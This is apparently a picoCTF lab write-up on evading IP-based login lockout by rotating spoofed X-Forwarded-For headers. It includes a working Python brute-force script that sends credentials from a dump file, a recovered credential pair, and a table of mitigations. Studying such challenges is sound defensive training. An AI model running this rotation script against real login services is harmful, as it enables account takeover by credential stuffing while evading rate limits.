picoCTF · picoGym Web Exploitation Medium 200 pts

Fool the Lockout — IP Rotation via X-Forwarded-For

OWASP A07 — Identification and Authentication Failures

Vulnerability Overview

A Flask application implemented IP-based rate limiting using request.remote_addr, but behind a proxy configuration that trusted the X-Forwarded-For header from the client. With a lockout threshold of 10 failed attempts per 30-second window, rotating the spoofed IP every 9 requests maintained continuous brute force access.

Source Code Analysis

The rate limiter identified clients by IP:

def exceeded_rate_limit() -> bool:
    client_ip = request.remote_addr
    ...

In a proxy-fronted Flask deployment, request.remote_addr can be set to the value of X-Forwarded-For from the client — making it attacker-controlled.

Exploitation

import requests, random

def fake_ip():
    return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"

url = "http://[target]/login"
ip = fake_ip()

with open("creds-dump.txt") as f:
    for i, line in enumerate(f):
        username, password = line.strip().split(";")
        if i % 9 == 0:
            ip = fake_ip()
        r = requests.post(url, headers={"X-Forwarded-For": ip},
                         data={"username": username, "password": password})
        if "picoCTF" in r.text:
            print(f"Found: {username}:{password}")
            break

Valid credentials (emely:tyrant) were found at line 8 of the 1500-entry dump.

ControlImplementation
Account-based lockoutLock by username — attackers can spoof IPs but cannot change the target account
Trusted proxy configurationIn Flask, use ProxyFix middleware with x_for=1 and only trust headers from known proxy IPs
Credential breach checksReject passwords found in known breach databases at the point of login
Key Insight: IP-based controls are inherently weaker than identity-based controls because IPs can be spoofed or rotated. Flask's request.remote_addr is only trustworthy when it reflects the actual connection IP from a validated upstream proxy — never from a client-controlled header.
Flag See challenge on picoCTF picoGym